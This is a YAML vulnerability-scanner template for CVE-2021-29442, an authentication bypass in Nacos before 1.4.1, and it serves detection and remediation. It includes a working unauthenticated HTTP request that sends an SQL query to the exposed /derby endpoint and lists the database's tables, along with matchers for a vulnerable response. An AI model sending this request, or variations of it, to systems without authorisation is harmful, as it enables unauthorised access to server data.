id: CVE-2021-29442 info: name: Nacos <1.4.1 - Authentication Bypass author: dwisiswant0 severity: high description: | Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql). impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server. remediation: | Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442). reference: - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - https://github.com/alibaba/nacos/issues/4463 - https://github.com/alibaba/nacos/pull/4517 - https://github.com/advisories/GHSA-36hp-jr8h-556f - https://nvd.nist.gov/vuln/detail/CVE-2021-29442 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-29442 cwe-id: CWE-306 epss-score: 0.96724 epss-percentile: 0.99657 cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: alibaba product: nacos tags: cve2021,cve,nacos,auth-bypass,alibaba http: - method: GET path: - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st" matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: regex part: body regex: - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\"" - type: status status: - 200 # digest: 4b0a00483046022100933d70648ac935124b95ffd3d56d1ca89821b2fb5c84c56da904f8ad6c8fca5a022100a8c80f357967fc19263cdb8871ac15642d1d38adfd01683c4a7b823d24cf85e1:922c64590222798bb761d5b6d8e72950